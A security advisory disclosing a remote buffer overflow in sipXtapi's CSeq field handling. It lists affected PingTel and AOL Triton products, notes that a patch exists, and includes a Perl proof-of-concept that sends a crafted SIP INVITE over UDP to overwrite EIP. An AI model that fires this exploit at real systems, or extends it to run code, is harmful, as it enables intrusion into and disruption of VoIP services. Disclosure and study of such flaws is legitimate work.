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| The sipXtapi library from sip foundry contains a buffer overflow when parsing the CSeq field. This flaw can be used by an attacker to gain control over EIP and execute arbitrary code. |
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Credit:
The information has been provided by Michael Thumann.
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Vulnerable Systems:
* sipXtapi version compiled before 24 of march 2006
* PingTel products
* AOL Triton
Sending a CSeq field value greater than 24 bytes triggers the buffer overflow condition.
Patch Availability:
A patch is available within the source tree and the affected products of PingTel and AOL have beed updated.
Exploit:
#!/usr/bin/perl
# PoC Exploit By mthumann at ernw.de
# Remote Buffer Overflow in sipXtapi
use IO::Socket;
#use strict;
print "sipXtapi Exploit by Michael Thumann \n\n";
if (not $ARGV[0]) {
print "Usage: sipx.pl <host>\n";
exit;}
$target=$ARGV[0];
my $source ="127.0.0.1";
my $target_port = 5060;
my $user ="bad";
my $eip="\x41\x41\x41\x41";
my $cseq =
"\x31\x31\x35\x37\x39\x32\x30\x38".
"\x39\x32\x33\x37\x33\x31\x36\x31".
"\x39\x35\x34\x32\x33\x35\x37\x30".
$eip;
my $packet =<<END;
INVITE sip:user\@$source SIP/2.0\r
To: <sip:$target:$target_port>\r
Via: SIP/2.0/UDP $target:3277\r
From: "moz"<sip:$target:3277>\r
Call-ID: 3121$target\r
CSeq: $cseq\r
Max-Forwards: 70\r
Contact: <sip:$source:5059>\r
\r
END
print "Sending Packet to: " . $target . "\n\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";
print "Done.\n";
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